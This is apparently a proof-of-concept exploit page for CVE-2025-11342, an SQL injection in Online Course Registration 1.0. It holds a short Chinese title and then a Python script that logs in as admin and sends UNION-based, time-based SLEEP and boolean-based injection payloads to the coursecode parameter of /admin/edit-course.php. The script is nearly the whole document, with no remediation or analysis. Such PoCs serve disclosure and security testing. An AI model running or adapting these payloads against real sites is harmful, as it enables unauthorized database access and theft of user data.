CVE-2025-11342：Online Course Registration 1.0 SQL注入漏洞

# CVE-2025-11342 - Online Course Registration SQL Injection PoC # Target: /admin/edit-course.php # Vulnerable Parameter: coursecode import requests # Target configuration TARGET_URL = "http://target-host.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/login.php" EDIT_COURSE_URL = f"{TARGET_URL}/admin/edit-course.php" # Admin credentials (attacker must have valid admin access) USERNAME = "admin" PASSWORD = "password123" # Create a session to maintain cookies session = requests.Session() # Step 1: Login as admin to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } response = session.post(ADMIN_LOGIN_URL, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Craft SQL injection payload for coursecode parameter # Example: Extract database version via UNION-based injection sql_payload = "' UNION SELECT 1,version(),3,4,5-- -" # Step 3: Send malicious request to the vulnerable endpoint params = { "coursecode": sql_payload } response = session.get(EDIT_COURSE_URL, params=params) print(f"[*] Exploit response status: {response.status_code}") print(f"[*] Response body:\n{response.text}") # Alternative: Time-based blind SQL injection payload time_based_payload = "' OR SLEEP(5)-- -" params_blind = {"coursecode": time_based_payload} response = session.get(EDIT_COURSE_URL, params=params_blind) print(f"[*] Time-based injection response time: {response.elapsed.total_seconds()}s") # Alternative: Boolean-based blind SQL injection payload boolean_payload = "' AND 1=1-- -" params_bool = {"coursecode": boolean_payload} response_true = session.get(EDIT_COURSE_URL, params=params_bool) boolean_payload_false = "' AND 1=2-- -" params_bool_false = {"coursecode": boolean_payload_false} response_false = session.get(EDIT_COURSE_URL, params=params_bool_false) print(f"[*] Boolean-based TRUE response length: {len(response_true.text)}") print(f"[*] Boolean-based FALSE response length: {len(response_false.text)}")